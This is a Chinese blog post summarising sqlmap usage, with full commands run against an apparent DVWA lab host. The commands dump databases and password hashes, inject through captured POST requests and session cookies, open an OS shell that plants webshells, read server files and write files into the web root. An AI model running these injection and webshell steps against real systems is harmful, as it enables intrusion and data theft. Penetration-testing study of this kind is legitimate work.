Sqlmap 使用方法小结
平常的使用GET方法像–tables –columns -T -D –dbs –dump 啥的就不说了,只是博客几天不发,空着不好,还是得写写东西
--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
--threads= 使用多少线程
--is-dba
这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马
利用sqlmap进行POST注入
先利用bp去抓一个包,直接发送包里面的内容保存到一个文件里面,然后用-r
参数去实现它就好
例如 sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql
指定username参数,-dbms指定了某种数据库,这句话指定的是mysql数据库,-p指定的是参数,不指定的话每一个参数他都会尝试
注意这句话已经不像平常那样需要-u
参数了,直接-r
参数即可,因为报文里面已经含有了含有应有的各种条件
利用sqlmap进行需要登陆的注入
可以跟上面进行post注入的一样,直接-r
参数带上你的抓包文件路径,既然是需要登录的注入,那么报文里面肯定是要有cookie
的
我们还可以利用–cookie参数注入,例如:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1& Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --current-db
这里面的cookie参数可以抓包获得
利用sqlmap进行交互式写shell
这个要利用sqlmap写shell的话前提需要获取网站的绝对路径,而且必须叙是root权限
使用burpsuite进行抓包,获取cookie。判断用户是否为dba,输入命令:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --is-dba
输入命令:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell
脚本类型为PHP,所以输入4
输入第二步得到的路径,这样就可以在里面写相关命令了
这时候会在绝对路径下写入2个shell,一个用来执行命令的,另一个是用来上传的,其中上传的文件名为tmpujhum.php,这个上传的文件可以去上传小马然后连接即可,这里我们注意一下,为什么会出现admin admin这样的文字,这是sqlmap用来确认是否成功写进shell的标志,后面也会提一下。他这个写进admin的方式有可能会导致利用sqlmap写文件的时候小马文件会出现乱码。猜测是写文件的方式导致了文件的乱码,我们都知道写文件的方式要么就是ASCII要么是二进制文件流方式去实现。
利用sqlmap辅助手工注入
其实这个就是介绍了在发现注入点之后,怎么在sqlmap里面执行SQL语句,继续用上面的例子,改一下就是这样子的,但前提我们也是要发现数据点
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "select user(),version(),database()"
这样就是相当于运行对应的SQL语句了。但是其实这样执行的话每一次都会对网站注入一遍,效率就比较低.
可以换一个方式,把--sql-query
改为--sql-shell
,这样一来就相当于平常我们执行SQL语句的那个cmd命令界面一样。写一条语句就直接执行一条,省去了注入的过程。
利用sqlmap进行文件读写
这里可以写文件的话前提必须有
判断是否为dba/root用户
,爆出了网站的绝对路径,有一个可写目录,也是用上面的案例
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini
成功读取了php.ini
文件,并返回了路径。
打开如下图所示:
这里的文件我们可以去sqlmap的output里面查看,也就是对应的用户文件夹里面
在服务器端写入文件
输入:
sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt
这里的意思就是将本地C:\1.txt
写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt
打开对应文件的网站路径如下图:
这里又出现了admin admin了,就是sqlmap用来确认是否写成功的标志,因为在写文件的过程中他会问是否验证,它就会以这个标志来判断啦。